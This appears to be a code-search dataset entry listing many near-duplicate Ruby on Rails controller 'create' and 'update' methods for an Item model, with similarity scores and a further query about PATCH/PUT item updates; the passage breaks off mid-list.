"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to '/items', notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.find(current_user.id)\n @item = @user.items.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to '/items', notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = build_item\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to items_path, notice: 'アップロードしたでー' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @api_v1_item = Item.new(api_v1_item_params)\n\n if @api_v1_item.save\n render json: @api_v1_item\n else\n render json: @api_v1_item.errors\n end\n end",
"def create\n @item = Item.new(item_params)\n if @item.save\n render json: ItemSerializer.new(@item)\n else\n render json: @section.errors, status: :unprocessable_entity\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to lists_path, :notice => 'Item was successfully created.' }\n format.json { render :json => lists_path, :status => :created, :location => lists_path }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n get_relations_from_params\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: \"Item was successfully created.\" }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to :items, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @slot }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = @list.items.create(item_params)\n redirect_to @list\n end",
"def create \n #whitelist params and save them to a variable \n item_params = params.require(:item).permit(:name, :category, :image, :price)\n #create a new item from 'item_params'\n @item = Item.new(item_params)\n #if item saves, render the new item in JSON\n if @item.save \n render json: @item\n end\n end",
"def create\n @item = Item.new(item_params)\n \n respond_to do |format|\n if @item.save \n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def item_params\n params.require(:item).permit(:item, :body)\n end",
"def create\n @item = current_user.items.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: \"Item was successfully created.\" }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = current_user.items.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to root_path, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @item = Item.new(params[:item])\n @item.user_id = current_user.id\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to '/main', :notice => 'Item was successfully created.' }\n format.json { render :json => @item, :status => :created, :location => @item }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_save_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n @item.user = current_user\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, :notice => 'Item was successfully created.' }\n format.json { render :json => @item, :status => :created, :location => @item }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n # defined object to receive strict item_params including :description, :price, :stockQty ; else return 400\n @item = Item.new(item_params)\n \n if @item.save\n render json: @item.to_json, status: 201\n else\n head 400\n end\n end",
"def create\n @item = current_user.items.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html do\n flash[:alert] = 'Something went wrong while creating an item.'\n render action: \"new\"\n end\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_item()\n\n request_body = {\n 'name' => 'Milkshake',\n 'variations' => [\n {\n 'name' => 'Small',\n 'pricing_type' => 'FIXED_PRICING',\n 'price_money' => {\n 'currency_code' => 'USD',\n 'amount' => 400\n }\n }\n ]\n }\n\n response = Unirest.post CONNECT_HOST + '/v1/' + LOCATION_ID + '/items',\n headers: REQUEST_HEADERS,\n parameters: request_body.to_json\n\n if response.code == 200\n puts 'Successfully created item:'\n puts JSON.pretty_generate(response.body)\n return response.body\n else\n puts 'Item creation failed'\n puts response.body\n return nil\n end\nend",
"def add_item_to_project\n @project = Project.find(params[:id])\n @item = Item.find(params[:item_id])\n\n @project.items << @item\n\n render json: @project, include: :items\n end",
"def save\n @items.to_json\n end",
"def create\n @item = Item.new(item_params)\n # @item.build_note\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n respond_with(@items)\n end\n end\n end",
"def item_create\n @item = Item.new(item_params)\n respond_to do |format|\n if @item.save\n format.html { redirect_to item_index_path, notice: 'O item foi criado com sucesso.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :item_new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def item_params\n params.require(:item).permit(:title, :body)\n end",
"def writeItem(app, repo_url, item)\n headers = defaultHeaders(app[\"token\"])\n data = item.to_json\n response = HTTParty.post(repo_url,\n headers: headers,\n body: data)\n response\nend",
"def create\n @item = Item.new(params[:item])\n @item.user = current_user\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n ListItem.transaction do\n item = Item.new(item_params)\n item.save\n\n @list_item = ListItem.new(list_item_params)\n @list_item.item_id = item.id\n @list_item.list_id = params[:list_id]\n\n\n if @list_item.save\n render json: @list_item, status: :created\n else\n render json: @list_item.errors, status: :unprocessable_entity\n end\n end\n end",
"def create\n cart_uuid = params[:cart_id]\n @item = Item.new(item_params.merge(cart_uuid: cart_uuid))\n if @item.save\n render json: @item, status: 201\n else\n render_errors 400, @item.errors.full_messages\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to(items_path) }\n format.xml { render :xml => @item, :status => :created, :location => @item }\n else\n format.html { redirect_to(items_path)}\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post(payload, request_opts={})\n if payload.is_a?(Hash)\n payload = self.class.item_class.new(payload) # apply data type conversion\n end\n qs = payload.query_string_params\n payload = payload.as_hash\n response = http(request_opts).post(resolved_path + qs, payload)\n new_item = self.class.item_class.new\n new_item.store_result(response)\n new_item\n end",
"def create\n @item = Item.new(item_params)\n @item.save\n redirect_to @item\n end",
"def create\n puts params\n item_data = {\n :title => params[:title],\n :description => params[:description]\n }\n @item = current_user.items.build(item_data)\n if params[:attachments]\n params[:attachments].each do |att_id|\n @att = Attachment.find(att_id)\n @item.attachments.push(@att)\n if @att.att_type == 'photo'\n @item.photos.build(\n photo_url: @att.url\n )\n end\n end\n end\n if @item.save\n respond_to do |format|\n format.json { render :json => @item.to_json, :status => 200 }\n format.xml { head :ok }\n format.html { redirect_to :action => :index }\n end\n else\n respond_to do |format|\n format.json { render :text => \"Could not create item\", :status => :unprocessable_entity } # placeholder\n format.xml { head :ok }\n format.html { render :action => :new, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n json_response(current_restaurant.restaurant_food_items.create!(food_item_params), :created)\n end",
"def create\n if !self.auth_admin\n @item = Item.new(item_params)\n respond_to do |format|\n if @item.save\n format.html { redirect_to item_path(@item), notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n end\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n @item.save_info\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end \n end",
"def create\n @itemtipo = Itemtipo.new(itemtipo_params)\n\n if @itemtipo.save\n render json: @itemtipo, status: :created, location: @itemtipo\n else\n render json: @itemtipo.errors, status: :unprocessable_entity\n end\n end",
"def create\n @item = @deal.items.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to deal_items_url(@deal), notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(item_attrs = {})\n body = { value: item_attrs }\n Iterable.request(conf, base_path).put(body)\n end",
"def api_post(method: nil, item: [], params: {})\n raise ArgumentError, 'Missing method in API request' unless method\n\n login(@host) if Time.new.to_i > @session_timeout\n\n request = {}\n request[:method] = method\n request[:params] = [[item || []], params.to_h]\n # This is how we create request params once all methods use structs\n # request[:params] = [[item || []], params.to_h]\n # We use a StandardError since it is based on the HTTP response code with a JSON payload definition\n begin\n resp = @http.post(@uri, request.to_json, @headers)\n JSON.parse(resp.body)['result']['result']\n rescue StandardError\n puts \"The following error has occurred #{JSON.parse(resp.body)['error']['message']}\"\n end\n end",
"def item_params\n params.require(:item).permit!\n end",
"def create\n @item = Item.new(item_params)\n @item.user = current_user\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(item_params)\n @item.user_id = current_user.id\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_item = Admin::Item.new(params[:admin_item])\n\n respond_to do |format|\n if @admin_item.save\n format.html { redirect_to @admin_item, notice: 'Item was successfully created.' }\n format.json { render json: @admin_item, status: :created, location: @admin_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_item(user_id, data) \n data = data.just(SETTABLE_ITEM_FIELDS)\n data[:user_id] = user_id\n data[:title] ||= 'item'\n data[:price] ||= 5\n data[:price] = data[:price].to_i\n data[:slug] = get_unique_slug($items,:slug,data[:title])\n\n data[:imgs] = data[:imgs].to_a.map {|link| {link: link}}\n data[:videos] = data[:videos].to_a.map {|link| {link: link}}\n data[:status] = :pending\n item = $items.add(data)\nend",
"def create(attributes)\n response = JSON.parse(@client.post('items', attributes).body)\n Promisepay::Item.new(@client, response['items'])\n end",
"def create\n @item = Item.new(item_params) #Remember to add Session[user_id]\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def item_params\n params.require(:item).permit(:name, :value)\n end",
"def create\n # @item = Item.new(item_params)\n @item = current_user.items.build(item_params)\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def item_params\n params.require(:item).permit(:name, :tag_list, :type_list, :description)\n end",
"def item_params\n params.require(:item).permit(:name)\n end",
"def item_params\n params.require(:item).permit(:name)\n end",
"def create\n @item = Item.new(item_params)\n \n if @item.save\n redirect_to @item\n else\n render :new\n end\n end",
"def create\n @item = @list.items.build(item_params)\n @item.user = current_user\n\n if @item.save\n return success_item_create\n else\n return error_item_save\n end\n end",
"def item_params\n params.require(:item).permit(:name, :type_id, :user_id)\n end",
"def create\n @part_types = Constants::PART_TYPES\n @item = Item.new(item_params.merge(user_id: current_user.id))\n \n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: \"Item was successfully created.\" }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @apiv1_item = Item.new(apiv1_item_params)\n\n respond_to do |format|\n if @apiv1_item.save\n format.html { redirect_to @apiv1_item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @apiv1_item }\n else\n format.html { render :new }\n format.json { render json: @apiv1_item.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7971939",
"0.7285761",
"0.7231758",
"0.721958",
"0.71792215",
"0.71131957",
"0.7062943",
"0.7053179",
"0.6988855",
"0.69712186",
"0.6903009",
"0.68806237",
"0.6871792",
"0.6840092",
"0.6840092",
"0.6840092",
"0.6840092",
"0.6840092",
"0.6840092",
"0.6840092",
"0.6839645",
"0.68317765",
"0.68232363",
"0.6818633",
"0.6804524",
"0.68023956",
"0.6771504",
"0.6767946",
"0.6759613",
"0.67544657",
"0.67544657",
"0.67544657",
"0.67544657",
"0.67544657",
"0.67544657",
"0.67544657",
"0.67544657",
"0.67544657",
"0.67544657",
"0.67544657",
"0.67544657",
"0.67544657",
"0.67544657",
"0.67544657",
"0.67544657",
"0.67514557",
"0.67230386",
"0.6718678",
"0.67137235",
"0.67128444",
"0.6703868",
"0.6700709",
"0.6672411",
"0.66721815",
"0.666588",
"0.6654199",
"0.6654199",
"0.6654199",
"0.6654199",
"0.6654199",
"0.6608128",
"0.6572419",
"0.6571165",
"0.6570305",
"0.6558312",
"0.65502524",
"0.65315026",
"0.6528123",
"0.6520262",
"0.6516721",
"0.65085787",
"0.65081066",
"0.65060544",
"0.65043217",
"0.6482899",
"0.6469886",
"0.6467142",
"0.6455747",
"0.64434516",
"0.6438017",
"0.6436506",
"0.64340466",
"0.64243186",
"0.64219195",
"0.6408983",
"0.64060813",
"0.64010036",
"0.6399356",
"0.63970554",
"0.639478",
"0.63763726",
"0.63742554",
"0.6369031",
"0.6368939",
"0.63629377",
"0.63622326",
"0.6354672",
"0.63543826",
"0.6351369",
"0.6346357",
"0.63163006"
] |
0.0
|
-1
|
PATCH/PUT /items/1 PATCH/PUT /items/1.json
|
def update
if params[:item][:cover].present?
@item.cover.attach(params[:item][:cover])
end
respond_to do |format|
if @item.update(item_params)
format.html { redirect_to edit_item_path(@item), notice: "El producto ha sido actualizado." }
format.json { render :show, status: :ok, location: @item }
else
format.html { render :edit }
format.json { render json: @item.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n render json: Item.update(params[\"id\"], params[\"item\"])\n end",
"def update\n\n if @api_v1_item.update(api_v1_item_params)\n render json: @api_v1_item\n else\n render json: @api_v1_item.errors\n end\n end",
"def update\n\n #update the item of request_item\n if (params[:request_item].present?)\n @request_item.item = params[:request_item][:item].present? ? Item.new(name: params[:request_item][:item][:name]) : @request_item.item\n end\n #update all other parameters\n if @request_item.update(request_item_params)\n render json: @request_item\n else\n render json: @request_item.errors, status: :bad_request\n end\n\n end",
"def update\n if @item.update_attributes(item_params)\n render json: @item, status: :ok\n else\n render_error(@item, :unprocessable_entity)\n end\n end",
"def update\n if @item.update(item_params)\n render json: @item, status: :ok\n else\n render json: @item.errors, status: :unprocessable_entity\n end\n end",
"def update\n @item = @client.items.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n Rails.logger.debug params.inspect\n @item = Item.find(params[:id])\n respond_to do |format|\n if @item.update_attributes(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n respond_with(@items)\n end\n end\n end",
"def update\n \n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, :notice => 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n @item.update_attributes(params[:item])\n respond_with @item\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to items_path, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, :notice => 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @items = args[:items] if args.key?(:items)\n @request_id = args[:request_id] if args.key?(:request_id)\n end",
"def update!(**args)\n @items = args[:items] if args.key?(:items)\n @request_id = args[:request_id] if args.key?(:request_id)\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to '/items', notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
